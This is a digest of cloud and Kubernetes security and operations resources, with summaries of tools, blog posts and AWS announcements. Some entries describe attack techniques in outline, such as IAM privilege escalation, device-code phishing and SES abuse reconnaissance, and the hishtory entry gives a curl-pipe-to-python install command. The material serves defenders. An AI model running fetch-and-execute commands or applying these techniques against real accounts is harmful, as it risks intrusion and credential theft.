    Takeaway: Watch it if you are evaluating Crossplane as a Kubernetes-native alternative to Terraform for multi-cloud provisioning.

19.01.2023

  • Cloud Native Landscape
    summary

    (Could not fetch full text.)

    TL;DR: The Cloud Native Computing Foundation’s interactive Cloud Native Landscape, a categorized map of cloud native projects and products.

    • Publisher: CNCF.
    • Format: A JavaScript-rendered interactive page; the fetch returned only the title “CNCF Landscape”.
    • Use: Browsing cloud native tools by category when surveying options in an area.
    • Source caveat: Summary based on the page title and URL only; the categories and entries could not be extracted.

    Takeaway: A starting point for finding candidate tools in a category. Check each project’s maturity and activity separately.

  • hardeneks: Harden EKS
    summary

    TL;DR: hardeneks, from AWS Samples, is a Python CLI that checks a running EKS cluster against the EKS Best Practices Guide.

    • Install: pip install hardeneks in a virtualenv, then run hardeneks.
    • Targeting: --region, --context, --cluster, --namespace, plus --insecure-skip-tls-verify.
    • Reports: --export-txt, --export-csv, --export-html, --export-json, and --export-security-hub to send failed checks to AWS Security Hub.
    • Config: --config file selects rules and ignores namespaces such as kube-system or karpenter.
    • Example checks: check_endpoint_public_access, restrict_wildcard_for_cluster_roles, check_default_deny_policy_exists, use_encryption_with_ebs, deploy_workers_onto_private_subnets, ensure_namespace_psa_exist, use_immutable_tags_with_ecr, plus reliability checks.

    Takeaway: A quick way to audit an EKS cluster against AWS’s own guidance and push the findings into Security Hub.

  • lnav: Log File Navigator
    summary

    TL;DR: lnav (Logfile Navigator) by tstack is a terminal log viewer that auto-detects formats, merges files by time and lets you query logs with SQLite.

    • Ingest: Decompresses files, detects format, merges multiple files into one time-ordered view, tails and follows renames, and finds new files in directories.
    • Navigation: e/E jump to next or previous error, / regex search, :highlight, and P to pretty-print structured text.
    • Analysis: Filter with regex or SQLite expressions, i for a histogram over time, ; for SQL queries.
    • JSON: Pretty-prints JSON-lines logs.
    • Try it: ssh playground@demo.lnav.org or ssh tutorial1@demo.lnav.org before installing.
    • Why not tail, grep, less: They do not order multiple files by time, return full multi-line messages or handle compressed files.

    Takeaway: Worth installing on any box where you read logs. The SQL interface makes ad hoc incident analysis much faster than grep.

  • Learning by Auditing Kubernetes Manifests
    summary

    TL;DR: The author of blog.frankel.ch ran Checkov over the Kubernetes manifests of his demos and writes up the rules he broke and what each taught him.

    • Command: checkov -d infrastructure/kube/ --quiet --compact | grep CKV | sort --unique lists unique failed rules.
    • Digests: CKV_K8S_43 prefers image digests to tags, because tags are mutable pointers.
    • Privilege escalation: CKV_K8S_20; by default a child process can gain more privileges than its parent, so set allowPrivilegeEscalation: false.
    • securityContext: CKV_K8S_30 (low severity, but he considers it essential), covering runAsNonRoot, runAsUser, seccompProfile, fsGroup and more.
    • Other rules: CKV_K8S_23 (avoid root containers), CKV_K8S_40 (high UID to avoid host conflict), CKV_K8S_31 (seccomp RuntimeDefault).
    • Context: Some rules, such as requests and limits, he chose to ignore for demos.

    Takeaway: Running a scanner like Checkov over your manifests is a fast way to learn Kubernetes hardening defaults. Fix the privilege-escalation and securityContext findings first.

  • Cloud Penetration Testing: Not Your Typical Internal Penetration Test
    summary

    TL;DR: The sethsec blog author (December 15, 2022) describes, in nine playful “levels”, how an experienced internal pentester learns that assumed-breach cloud testing is very different.

    • Levels 1 to 3: From running nmap against a VPC /16, to using IAM credentials and the AWS API to enumerate EC2 IPs, to finding more attack surface via Route 53 records (EKS, ECS, API Gateway, ELB).
    • Level 4, IAM privesc: e.g. ec2:RunInstances plus iam:PassRole, or a service role that can assume other roles; cites Spencer Gietzen and IAM Vulnerable.
    • Level 5, secrets: Secrets in S3 objects, Kubernetes secrets, Lambda environment variables or EC2 user data.
    • Levels 6 and 7: Thinking in attack graphs and cross-account role trusts; CI/CD tooling without RBAC often holds production admin credentials.
    • Levels 8 and 9: Big differences between cloud providers, and accepting that attack surface depends on each org’s specific services.

    Takeaway: For cloud pentests, start from the cloud API and IAM, not the network. Always review CI/CD tooling access and secrets.

  • Kubernetes 1.26: Introducing Validating Admission Policies
    summary

    TL;DR: Kubernetes blog post by Joe Betz and Cici Huang (December 20, 2022) introducing alpha validating admission policies in 1.26, which use CEL expressions as an in-process alternative to validating webhooks.

    • Problem with webhooks: Each needs a binary to build, deploy, monitor and upgrade, and an unavailable webhook can make the control plane unavailable.
    • Policy: ValidatingAdmissionPolicy (admissionregistration.k8s.io/v1alpha1) with matchConstraints and CEL validations, e.g. object.spec.replicas <= 5 for Deployments.
    • Binding: ValidatingAdmissionPolicyBinding scopes the policy, e.g. to namespaces labelled environment: test.
    • Parameters: paramKind lets policies read configurable values from a custom resource.
    • Rationale: The authors found most production webhooks perform simple checks that CEL can express.

    Takeaway: For simple validation rules, CEL policies remove a whole webhook deployment. Check the current API version, since this was alpha in 1.26.

  • Kubernetes v1.26: GA Support for Kubelet Credential Providers
    summary

    TL;DR: Kubernetes blog post by Andrew Sy Kim and Dixita Narang (December 22, 2022): kubelet credential provider plugins are GA in v1.26, letting kubelet fetch image registry credentials dynamically through exec plugins.

    • Before: Until v1.20, dynamic credentials were compiled into kubelet and only for ECR, ACR and GCR; other registries needed kubelet code changes.
    • Timeline: Alpha in v1.20, GA in v1.26.
    • Protocol: kubelet runs the plugin binary, sends a CredentialProviderRequest on stdin and reads a CredentialProviderResponse on stdout as JSON.
    • Caching: The plugin can set cacheDuration (e.g. 6h) and cacheKeyType (e.g. Image) to control reuse of credentials.
    • Ecosystem: Any cloud provider or vendor can publish a plugin for their registry.

    Takeaway: Use credential provider plugins instead of long-lived imagePullSecrets for private registries where a plugin exists.

  • confidant: Open Source Secret Management Service from Lyft
    summary

    TL;DR: Confidant, from Lyft, is a secret management service that stores secrets in DynamoDB, encrypted at rest. The repository was archived on February 14, 2025.

    • Status: Read-only; no new pull requests, issues, features or updates, though existing releases stay downloadable.
    • Storage: Secrets kept in DynamoDB, encrypted at rest.
    • Docs: Installation, configuration and usage guides at lyft.github.io/confidant.
    • Security reports: Sent to security@lyft.com.

    Takeaway: Of historical interest as an AWS-native secret store design. For new work, use a maintained secrets manager.

  • kube-exec-controller: Admission Controller and kubectl Plugin to Handle Container Drift in K8s Clusters
    summary

    TL;DR: kube-exec-controller, from Box, is a validating admission webhook. It detects container drift caused by kubectl exec, attach, cp and similar interactive requests, then evicts the touched Pods after a set interval.

    • Deployment: It runs as a Deployment and is wired in through a ValidatingWebhookConfiguration. A demo is in demo/, deployed with make deploy.
    • Labeling: Interacted Pods get labels such as box.com/podInteractorUsername and box.com/podTTLDuration, plus Kubernetes events.
    • kubectl plugin: kubectl-pi (pod-interaction) lists interacted Pods and can extend their eviction time.
    • Requirements: Docker 17.05+ and Kubernetes 1.16+. Kind is used for local development.
    • Goal: Pods that someone changed by hand are replaced, so running state goes back to the declared image.

    Takeaway: This gives you an audit trail and automatic cleanup for break-glass shell access. It fits clusters where exec is allowed but drift is not.

  • Architecting Your Security Model in AWS for Legacy Application Migrations
    summary

    TL;DR: An AWS Architecture Blog post with guidelines for giving phased legacy and mainframe migrations secure access to both on-premises and AWS resources, by turning mainframe-style authority into a role-based IAM model.

    • Problem: Migrations run in phases over years, so apps need access to databases, file storage and shared services on both sides at once.
    • Legacy model: Mainframe control facilities identify users and grant authority through privileges tied to a unique identifier. In AWS this becomes an IAM role the application assumes.
    • Federation: An on-premises IdP (the post names Okta and Ping) federates to AWS with SAML 2.0 or OIDC, so on-premises apps get IAM role credentials.
    • Credential options: SAML federation fits per-user or service-account access. IAM Roles Anywhere exchanges X.509 certificates for temporary credentials for service accounts.
    • No long-term keys: The post advises against IAM user access keys because they stay valid until removed.
    • Principles: Zero Trust concepts, central identity control, guardrails and fine-grained access for workforce and applications.

    Takeaway: Map each legacy surrogate identity to an IAM role, and get temporary credentials through SAML federation or IAM Roles Anywhere instead of static keys during the hybrid period.

  • AWS CIRT Announces the Release of Five Publicly Available Workshops
    summary

    TL;DR: The AWS Customer Incident Response Team (CIRT) released five free workshops that simulate the security events it handles most often, and teach the tools and steps it uses to detect and investigate them.

    • Unauthorized IAM credential use: A script run in AWS CloudShell performs reconnaissance and privilege escalation. You then hunt for the evidence.
    • Ransomware on S3: CloudFormation builds IAM users and five S3 buckets. A bash script then simulates exfiltration and deletion.
    • Cryptominer events: Three EC2 instances make DNS requests to known cryptomining domains.
    • SSRF on IMDSv1: A vulnerable web app on EC2 leaks instance credentials through server-side request forgery.
    • CIRT toolkit: Hands-on use of the tools CIRT uses daily to find misconfigurations and respond to events.
    • Services covered: GuardDuty, CloudTrail, CloudWatch, Athena, AWS WAF, plus open source CIRT tools. You only need an AWS account.

    Takeaway: These are a cheap way to rehearse AWS incident response. Run them in a sandbox account before you need the skills in a real incident.

  • Kubernetes v1.26: Advancements in Kubernetes Traffic Engineering
    summary

    TL;DR: A Kubernetes blog post by Andrew Sy Kim (Google) on three v1.26 traffic features: Service internal traffic policy (GA), EndpointSlice terminating conditions (GA), and proxy terminating endpoints (beta).

    • Problem fixed: With externalTrafficPolicy: Local, load balancers could drop traffic during rolling updates when a node held only terminating Pods.
    • ProxyTerminatingEndpoints: Now on by default in kube-proxy. It routes to terminating Pods based on readiness when nothing else is left on the node.
    • Health check change: kube-proxy fails the health check NodePort when only terminating Pods remain. The load balancer stops sending new connections, and existing ones drain.
    • EndpointSlice conditions: New serving and terminating conditions. serving acts like ready but can stay true while a Pod terminates.
    • Internal traffic policy: internalTrafficPolicy: Local keeps in-cluster traffic on node-local endpoints.
    • Caveat: The page flags the article as more than one year old.

    Takeaway: On 1.26 or later, Services that use externalTrafficPolicy: Local should lose far less traffic during rollouts. Check that your load balancer health check interval is short.

  • kamaji: Build and Operate Kubernetes at Scale with a Fraction of Operational Burden
    summary

    TL;DR: Kamaji, from CLASTIX, is a Kubernetes Control Plane Manager. It runs tenant control planes as Pods in a management cluster (hosted control planes), not on dedicated machines.

    • APIs: Two CRDs. TenantControlPlane (tcp, namespaced) defines a control plane. Datastore (cluster-scoped) holds state for one or more clusters.
    • Speed claims: The README says Tenant Control Planes are ready in 16 seconds, and version rollouts take 10 seconds with Blue/Green deployment.
    • Resources: Decoupling the datastore removes the need for odd-numbered RAFT instances. The README claims up to 60% hardware savings.
    • Automation: Certificates come from kubeadm and rotate automatically. It also manages kube-proxy, CoreDNS and konnectivity, and remediates them if deleted.
    • Datastores: Several control planes can share one datastore. Through kine, backends other than etcd can be used.
    • Exposure: Control planes can be exposed as ClusterIP, LoadBalancer or NodePort, with normal Pod scheduling options.

    Takeaway: Consider Kamaji if you run many clusters and want control planes managed as cheap, reconciled workloads. Test datastore sharing and upgrades before production use.

  • pgwatch2: PostgreSQL Metrics Monitor and Dashboard
    summary

    TL;DR: pgwatch2, from CYBERTEC, is a self-contained PostgreSQL metrics monitoring and dashboard tool built on Grafana. It is now archived in favour of the newer pgwatch repository.

    • Status: The README says pgwatch2 is in archived mode and points to github.com/cybertec-postgresql/pgwatch.
    • Coverage: Monitors PostgreSQL 9.0 to 16 out of the box. Base functionality needs no extensions or superuser rights.
    • Quick start: docker run ... -p 3000:3000 -p 8080:8080 cybertec/pgwatch2-postgres:latest exposes Grafana on 3000 and an admin UI on 8080.
    • Metrics: Metrics are defined in plain SQL. Many dashboards come preconfigured for Statistics Collector data.
    • Storage backends: PostgreSQL (with or without TimescaleDB), InfluxDB, Graphite and Prometheus.
    • Integrations: PgBouncer, Pgpool-II, AWS RDS and Patroni. A Helm chart and Kubernetes/OpenShift templates are included.

    Takeaway: pgwatch2’s ideas still apply, such as SQL-defined metrics and non-superuser monitoring. New deployments should use its successor, pgwatch.

  • State of Azure IAM 2022
    summary

    TL;DR: David Okeyode’s own December 2022 analysis of Azure IAM over the year. His main points are that permissions grow fast, new features open new persistence paths, and built-in roles remain heavily over-privileged.

    • Growth: 2,710 permissions were added in the year, for 16,210 in total. 60 built-in roles were added, about 5 a month, for 377 in total.
    • Risky new permissions: Microsoft.ContainerService/fleets/listCredentials/action (AKS Fleet Manager) could expose credentials for many clusters. Microsoft.Network/bastionHosts/createShareableLinks/action could backdoor VMs.
    • Feature churn: 389 Azure updates, 193 preview and 196 GA. SFTP for Blob Storage and RBAC for Cosmos DB (MongoDB API) both allow data-plane local accounts, which could be used for persistence.
    • Built-in roles dominate: 87% of assignments use built-in roles. These hold almost twice as many permissions as custom roles, and they gain new permissions without review.
    • Over-privilege: The most used roles are Contributor, Owner, Storage Blob Data Contributor, Billing Reader and Virtual Machine Contributor. Only 0.83% of permissions granted through built-in role assignments were used in the last 60 days.
    • Source caveat: Medium blocked direct fetching. This summary is based on a reader-proxy copy of the article.

    Takeaway: Prefer scoped custom roles over broad built-in ones. Review new GA features for data-plane identities that could become persistence paths.

  • kube-exec-controller: Admission Controller and kubectl Plugin to Handle Container Drift in K8s Clusters
    summary

    TL;DR: kube-exec-controller, from Box, is a validating admission webhook. It detects container drift caused by kubectl exec, attach, cp and similar interactive requests, then evicts the touched Pods after a set interval.

    • Deployment: It runs as a Deployment and is wired in through a ValidatingWebhookConfiguration. A demo is in demo/, deployed with make deploy.
    • Labeling: Interacted Pods get labels such as box.com/podInteractorUsername and box.com/podTTLDuration, plus Kubernetes events.
    • kubectl plugin: kubectl-pi (pod-interaction) lists interacted Pods and can extend their eviction time.
    • Requirements: Docker 17.05+ and Kubernetes 1.16+. Kind is used for local development.
    • Goal: Pods that someone changed by hand are replaced, so running state goes back to the declared image.

    Takeaway: This gives you an audit trail and automatic cleanup for break-glass shell access. It fits clusters where exec is allowed but drift is not.

  • Awesome ChatGPT Prompts
    summary

    TL;DR: prompts.chat began as “Awesome ChatGPT Prompts”, a community list of ChatGPT prompts by Fatih Kadir Akın (github.com/f/prompts.chat), released on December 5, 2022. The site has since grown into a much broader prompt platform.

    • Origin: The site calls itself the first prompts library, released December 5, 2022. Greg Brockman and Wojciech Zaremba of OpenAI praised it in December 2022.
    • Now: The page markets itself as a free, open source “social platform for AI agents” with prompts, skills, workflows and bots. It can be self-hosted.
    • Scale: The site claims about 175k GitHub stars. It also claims to be the most liked dataset on Hugging Face and to have 40+ academic citations.
    • Clients: A command-line client, an App Store app and a Raycast extension are offered.
    • Content changed: The current page shows newer content, such as a 2026 email security guardrails prompt, not the original 2022 list.

    Takeaway: It is useful as a large, searchable prompt catalogue. Treat community prompts as starting points to review, not trusted instructions.

  • Scott Piper on the Challenges of Rolling Out YubiKeys in Practice
    summary

    TL;DR: An October 2022 thread by Scott Piper. He argues that moving a company to FIDO2/YubiKey enforcement is mostly planning work, not “buy yubikeys”, and that neither Yubico nor Okta help with that planning.

    • Context: A reply to Panther’s post about rolling out FIDO2 with Okta.
    • Vendor gap: He asked Yubico for migration help on a 10,000-key purchase and got none. Okta support helped only with Okta configuration.
    • Device questions: Which laptops support FIDO2 (MacBook TouchID, Chromebook Titan)? What about phones, people with several laptops, or replaced devices?
    • Recovery questions: What happens with a lost laptop, a lost key, or a laptop forgotten at home? How do onboarding and time-limited exceptions work?
    • Coverage gaps: Some apps and VPNs do not support FIDO2. Virtual desktops such as Amazon WorkSpaces break the flow. Some apps need SSO onboarding or pricier licenses.
    • Policy questions: Is the key company property or the employee’s? Does TouchID differ from a YubiKey or a cheap FIDO2 key? Expect privacy objections to fingerprints.
    • Follow-up: Eric Rubin linked a GitLab blog post that answers many of these questions.

    Takeaway: Use the thread as a checklist before a phishing-resistant MFA rollout. Recovery and exception processes are the real work.

  • AWS Phishing: Four Ways
    summary

    TL;DR: Rami McCarthy collects AWS-specific phishing vectors beyond generic credential theft, with prevention and detection ideas for each. A fifth vector, SES phishing, was added in October 2023.

    • Credential phishing: Fake AWS sign-in pages, some of which capture TOTP or SMS MFA, plus hijacked search ads. Mitigation: WebAuthn everywhere and email provider protections.
    • Device code phishing: AWS SSO OIDC device authorization lets an attacker get an SSO token valid for 8 hours. Hardware MFA does not stop it.
    • Device code detection: Block device.sso.{region}.amazonaws.com links at the mail gateway. Alert on sso-oidc:CreateToken from different IPs, or unusual sso:ListAccountRoles volume. The post notes PKCE support changed the signals.
    • CloudFormation stack phishing: Launch Stack URLs prefill a malicious template. Mitigate by disabling CloudFormation with an SCP if unused, or restricting cloudformation:TemplateUrl.
    • ACM email validation phishing: ACM sends domain validation mail to WHOIS contacts and to addresses such as admin@ and webmaster@. Attackers can abuse that approval flow.
    • Further reading: Each section links research from Expel, Rhino Security Labs, Cado and others.

    Takeaway: Add device code and Launch Stack phishing to your threat model. Use DNS validation for ACM, and restrict template sources.

  • SES-pionage: Detecting SES Abuse
    summary

    TL;DR: Permiso (Nathan Eades, January 2023) reports that leaked long-lived AWS keys are often used first against SES, not IAM. The post describes how attackers check SES and which CloudTrail events to alert on.

    • Trigger case: An October 2022 investigation traced an AKIA key leaked on public GitHub. It was followed by SES calls GetAccount, ListServiceQuotas and ListIdentities.
    • Why SES: Attackers get free bulk mail from a trusted sender, and the victim pays the bill.
    • Sandbox limits: A sandboxed account can send only to verified addresses, at most 200 messages per 24 hours and 1 per second. Attackers check for this first.
    • Recon calls: GetSendQuota, GetAccount and ListServiceQuotas reveal sandbox status. ListIdentities plus GetIdentityVerificationAttributes find verified senders.
    • Enablement calls: UpdateAccountSendingEnabled and GetAccountSendingEnabled check whether the account can send.
    • Detection: Alert when long-term (AKIA) keys make these SES calls. The post lists Permiso’s own alert IDs and an appendix on SES email defense.

    Takeaway: Add CloudTrail alerts for SES recon calls from long-lived keys. A leaked key will likely touch SES early.

  • Detecting Anomalous AWS Sessions from Temporary Credentials, Part 1 of 2
    summary

    TL;DR: Part 1 of a two-part Uptycs series (Andre Rall, December 2022). It explains AWS temporary credentials, how to recognise them in CloudTrail, and how STS issues them, as groundwork for detecting compromised sessions.

    • Key prefixes: Long-term access key IDs start with AKIA and never expire. Temporary ones start with ASIA and include a sessionToken in CloudTrail.
    • Lifetime: Temporary credentials usually last 15 minutes to 12 hours.
    • STS APIs: GetSessionToken, AssumeRole, AssumeRoleWithWebIdentity, AssumeRoleWithSAML and GetFederationToken.
    • GetSessionToken: Needs no IAM permission, and no policy can block it. Its credentials can call only AssumeRole and GetCallerIdentity among STS APIs. It is typically used for MFA-protected calls.
    • AssumeRole: Credentials take the role’s permissions and cannot call GetFederationToken or GetSessionToken. The example is an EC2 instance profile.
    • Framing: The post cites a Gartner estimate that 75% of security failures will stem from poor identity management by 2023. Part 2 covers Uptycs’ ITDR product.

    Takeaway: This is a solid primer on which STS call produced a session. That knowledge is a prerequisite for spotting stolen ASIA credentials in CloudTrail.

  • Cedar: A New Policy Language from AWS
    summary

    TL;DR: A One Cloud Please post (January 2023) introduces Cedar, the AWS policy language behind Amazon Verified Permissions and AWS Verified Access. It covers why AWS built it, its syntax, and how it evaluates policies.

    • Why new: IAM policies depend on AWS constructs such as ARNs. Cedar is general purpose, so it can authorise non-AWS applications.
    • Design: Built by the Amazon automated reasoning team in Rust. It evaluates in milliseconds and is designed so tools can prove two policies equivalent.
    • Syntax: permit(principal == User::"John", action == Action::"view", resource) when { ... };. The effect is permit or forbid, with optional when or unless conditions.
    • Entities: Written as Type::"id" and can be namespaced. Actions must use the Action keyword.
    • Evaluation: Any matching forbid denies the request. Otherwise at least one permit must match, or the default is deny.
    • Availability then: At the time of writing, Cedar was not open source or downloadable, only offered in a playground and the two services.
    • Name: It follows IAM’s internal policy language, “Balsa”.

    Takeaway: This is a good primer if you are weighing Cedar for application authorisation. Check its current open source status, since the post predates any release.

  • Improve GitHub Actions OIDC Security Posture with Custom Issuer
    summary

    TL;DR: Aidan Steele explains how GitHub Enterprise Cloud’s unique OIDC token URL puts the enterprise slug in the issuer. An AWS IAM OIDC provider can then trust only your enterprise, not all of GitHub.com.

    • Feature: Tokens carry iss: https://token.actions.githubusercontent.com/<enterprise-slug>. GitHub announced this in August 2022.
    • AWS setup: Create AWS::IAM::OIDCProvider with that URL and ClientIdList: [sts.amazonaws.com]. Roles then trust oidc-provider/token.actions.githubusercontent.com/<slug>.
    • Blast radius: A role trust policy missing its sub condition now exposes only repositories in your enterprise, not every GitHub repository.
    • Delegation: This makes it safer to let developers call iam:CreateRole.
    • Still missing: The author still wants more IAM OIDC controls, and full JWT claims in CloudTrail.

    Takeaway: GitHub Enterprise Cloud users should switch to the enterprise-specific issuer. Keep the sub conditions on role trust policies.

  • Responding to an Attack in AWS
    summary

    TL;DR: Part 1 of a three-part case study by Cado Security and Invictus Incident Response (January 2023). They investigate an unknown AWS super-user account with CloudTrail, jq and Splunk.

    • Trigger: An account audit found an unrecognised new admin user, DevOps3.
    • Acquisition: The open source Invictus-AWS script lists the logging that is enabled and pulls every available log (CloudTrail, VPC flow logs, S3 access logs) into an S3 bucket.
    • Processing: jq -r '.Events[].CloudTrailEvent' extracts the events. They load into Splunk with sourcetype cloudtrail_json and a props.conf that has INDEXED_EXTRACTIONS = json and TIMESTAMP_FIELDS = eventTime.
    • Findings: DevOps1-bpvbp created the account through the console on 26-10-2022 at 21:29:03, from 185.195.232.111. A ConsoleLogin six minutes earlier showed that user had no MFA.
    • Pivot: DevOps3 did nothing after its creation, which suggests it was meant for persistence. The creating user ran an SSM StartSession in the same minute.
    • Method: Follows the incident handling phases, with this part focused on acquisition, processing and analysis.
    • Source caveat: The page blocked direct fetching. This summary is based on a reader-proxy copy.

    Takeaway: This is a practical walk-through of CloudTrail triage. Pivot from the suspicious identity to its creator, then to that creator’s other activity.

  • Cloud Native and Kubernetes Security Predictions 2023
    summary

    TL;DR: Andrew Martin of ControlPlane lists security predictions for cloud native and Kubernetes in 2023, from supply chain CVEs to eBPF, VEX, Rust in the kernel and the legal exposure of CISOs.

    • Supply chain: CVE counts and supply chain attacks keep rising. The post cites the PyTorch attack at Christmas 2022 and typosquatting on PyPI and NPM.
    • Reachability: Tools such as Semgrep Supply Chain, Snyk Priority Score and CodeQL judge whether a vulnerable code path is reachable.
    • Kubernetes complexity: CRDs and RBAC complexity keep growing. Platform engineering adds secure-by-default guardrails on top.
    • Identity: Credential theft continues while zero trust adoption is slow. Attackers will use AI and ML better than defenders.
    • Tech trends: eBPF powers new networking, security and observability projects. SBOM demands grow, VEX sees early adoption, and confidential computing gets tested.
    • Other calls: The first Rust module in the Linux kernel, server-side WebAssembly after Docker’s alpha driver, insurers descoping ransomware, and CISOs carrying legal responsibility.

    Takeaway: This is a 2023 snapshot of where cloud native security attention was heading. Supply chain reachability and VEX are the parts to act on.

  • How to Connect to Kubernetes Clusters Using HashiCorp Boundary
    summary

    TL;DR: A HashiCorp blog post (Van Phan and Ravi Panchal, January 2023) on giving remote users identity-based access to Kubernetes through HCP Boundary. Vault issues short-lived service account tokens on demand, so none sit on laptops.

    • Prerequisites: An HCP Boundary cluster, Vault (self-managed or HCP), and a Kubernetes cluster such as EKS or AKS.
    • Cluster prep: A vault namespace with a service account, ClusterRole and ClusterRoleBinding. Uses kubectl create token vault -n vault on Kubernetes 1.24+.
    • Vault: vault secrets enable kubernetes plus kv-v2. The cluster CA is stored at secret/k8s-cluster. Role auto-managed-sa-and-role has a 10-minute token TTL.
    • Boundary token: A boundary-controller policy and vault token create -orphan -period=20m.
    • Credential store: A Vault credential store with two libraries, kubernetes/creds/auto-managed-sa-and-role (POST) and secret/data/k8s-cluster (GET), attached to a TCP target on port 443.
    • Connect and verify: kubectl get pod --tls-server-name kubernetes --server=https://127.0.0.1:$PORT through the Boundary session. The test account could list pods but not nodes.

    Takeaway: Brokering kubectl through Boundary with Vault-minted tokens removes long-lived kubeconfigs. The pattern carries over to other managed clusters.

  • azure-security-survival-kit: Azure Security Survival Kit
    summary

    TL;DR: Azure Security Survival Kit, from O3 Cyber, is a Bicep template that centralises Azure logs and deploys a minimum set of threat detections. It was inspired by Victor Grenu’s AWS Security Survival Kit.

    • Log sources: Management Group activity, Azure Activity, and Azure AD sign-in and audit logs. Exporting AD logs requires an Azure AD P1 or P2 license.
    • Alerts: Azure Monitor Scheduled Query Rules, one per detection.
    • Detections: ConditionalAccessModified, RunCommandInvoked, VMDiskSnapshotGenerated, VMPasswordResetInvoked, BastionShareableLinkCreated and ElevatedAccessToggleInvoked.
    • Scope: Deploys at Management Group level, so management group operations such as Elevated Access Toggle are logged too.
    • Deploy: Edit main.parameters.json (location, resource group, subscription, management group, notification email), then run az deployment mg create --template-file ./main.bicep ....
    • Limits: The authors say this is a bare minimum. For comprehensive detection they recommend Sentinel and a more rigid process.

    Takeaway: This is a quick baseline for small Azure estates without Sentinel. The six detections also make a good list of Azure persistence and abuse techniques to watch.

  • Amazon RDS Announces Integration with AWS Secrets Manager
    summary

    TL;DR: An AWS announcement (December 22, 2022): Amazon RDS can now fully manage the master user password in AWS Secrets Manager, including automatic rotation.

    • What changes: RDS creates and stores the master password in Secrets Manager when instances are created, modified or restored.
    • Rotation: Regular automatic rotation is built in, so you no longer need custom Lambda rotation functions.
    • Exposure: Administrators do not see the password in plaintext during database creation.
    • Encryption: Use your own KMS key or the one Secrets Manager provides.
    • Scope: Covers RDS and Aurora. Supported engines, versions and Regions are listed in the user guides.

    Takeaway: Turn on managed master passwords for new RDS and Aurora instances. Drop custom rotation Lambdas where the managed option covers your engine.

  • Updated Whitepaper Available: AWS Security Incident Response Guide
    summary

    TL;DR: An AWS Security Blog post announcing a major update of the AWS Security Incident Response Guide whitepaper. The guide now explains more clearly what to do before, during and after a security event.

    • New intro: A “Key differences of incident response on AWS” section lists six core differences from on-premises incident response.
    • Standards alignment: Restructured to follow NIST SP 800-61 Rev. 2.
    • Operations section: Detection, analysis, containment, eradication and recovery, with a summary table of response techniques.
    • Preparation table: A checklist of actions to take before an event, to assess your current state.
    • Post-incident: A framework and a list of questions for learning from incidents.
    • Suggested use: Read the whole guide, check off preparation items you already have, then plan short-term and long-term roadmaps for the gaps.

    Takeaway: Use the preparation table as a gap assessment for your AWS incident response program, and revisit it as services change.

  • Eliminate Kubernetes Node Scaling Lag with Pod Priority and Over-Provisioning
    summary

    TL;DR: An AWS Containers Blog walkthrough that hides the 1 to 2 minute node provisioning lag on EKS. It keeps low-priority dummy pause pods as spare capacity, which real workloads preempt.

    • Mechanism: Dummy pods run a pause container at the lowest priority. When a higher-priority pod is pending, kube-scheduler evicts a dummy pod and places the real one at once.
    • Autoscaling: Evicted dummy pods go pending, so Cluster Autoscaler or Karpenter adds a node in the background.
    • Sizing: A static replica count does not scale with large clusters. The post uses cluster-proportional-autoscaler to size the dummy deployment by node and vCPU count.
    • Demo: A high-priority Nginx service with HPA plus a low-priority dummy service.
    • Scope: Applies to EKS on EC2, not Fargate. Estimated cost is about $40 in us-west-2, at level 400.
    • Trade-off: You pay for idle capacity in exchange for faster scaling.

    Takeaway: Use priority-based over-provisioning for latency-sensitive or spiky workloads. Size the headroom to your scale-up rate, not to a fixed count.

  • Authenticate to Amazon EKS Using Google Workspace
    summary

    TL;DR: An AWS Containers Blog walkthrough for signing in to Amazon EKS with Google Workspace identities. It uses Dex as the OIDC provider, because Google’s OIDC ID token does not include group claims.

    • Why Dex: Dex’s Google connector pulls group membership from the Google Directory API through a service account.
    • Prerequisites: An EKS cluster, a DNS domain with ACM certificates for dex.example.com and login.example.com, Google Workspace admin access, eksctl and helm.
    • Google setup: An internal OAuth consent screen with email, profile and openid scopes. A web OAuth client with redirect https://dex.example.com/callback.
    • Service account: Domain-wide delegation with only the admin.directory.group.readonly scope. The post says other scopes break group lookups.
    • Example groups: admins@example.com and readonlygroup@example.com, mapped to Kubernetes RBAC.
    • IAM still used: Cluster components such as kubelet keep authenticating through AWS IAM.

    Takeaway: If your company runs on Google Workspace, this gives group-based kubectl access without IAM users. Dex becomes another critical component to run and secure.

  • On Amazon EKS and Cost Optimisation
    summary

    TL;DR: Michel Dirk’s long Medium post (December 2022) on seven levers for cutting Amazon EKS costs. It argues that cost optimisation is continuous FinOps work, not a one-time task.

    • 1. Purchase options: On-Demand, Spot, Reserved Instances and Savings Plans. Compute Savings Plans suit dynamic fleets better than RIs, because nodes from autoscalers fall out of RI coverage.
    • 2. Flexible compute: A node autoscaler is needed unless everything fits on Fargate. The post favours Karpenter.
    • 3. Right sizing: Managed Node Groups make right-sizing nodes hard.
    • 4. Consolidation: Karpenter consolidation removes or replaces nodes using pricing and bin-packing data. It disrupts Pods, so plan for availability.
    • 5. Graviton: Arm-based Graviton instances, including Graviton3, for better price-performance.
    • 6. Storage and 7. Applications: Cloud-native storage options, plus calibrating resource requests and workload autoscaling.
    • Source caveat: Medium blocked direct fetching. This summary is based on a reader-proxy copy.

    Takeaway: Start with Savings Plans sized from the recommendation engine, plus Karpenter with consolidation. Then fix requests, the lever applications control.

  • kubernetes-chatgpt-bot: A ChatGPT Bot for Kubernetes Issues
    summary

    TL;DR: A Robusta.dev playbook that adds an “Ask ChatGPT” button to Prometheus alerts in Slack, so OpenAI suggests fixes. The README says it is being deprecated in favour of HolmesGPT.

    • Status: The README banner says the project will be deprecated and replaced by robusta-dev/holmesgpt.
    • Flow: Prometheus sends alerts to Robusta by webhook. The bot asks OpenAI how to fix the alert and posts the answer to Slack.
    • Install: Install Robusta with Helm, then add playbookRepos.chatgpt_robusta_actions and a customPlaybooks entry with on_prometheus_alert and chat_gpt_enricher.
    • Config: Put chat_gpt_token in globalConfig in generated_values.yaml, then run helm upgrade robusta robusta/robusta ....
    • Requirements: A Slack workspace and an OpenAI API key.

    Takeaway: This was an early experiment in LLM alert enrichment. Look at HolmesGPT instead, and consider what alert data you send to a third-party API.

20.12.2022

  • hishtory: Sync Shell History Between Computers
    summary

    TL;DR: hiSHtory, by ddworken, records shell history together with its context. It syncs the history end-to-end encrypted across machines, and you query it from a CLI or a Control+R interface.

    • Context captured: Working directory, exit code, duration, hostname and user for each command, stored locally.
    • Shells: bash, zsh and fish. Install with curl https://hishtory.dev/install.py | python3 -.
    • Multi-machine: Run hishtory status to get the secret, then hishtory init $YOUR_HISHTORY_SECRET on other hosts.
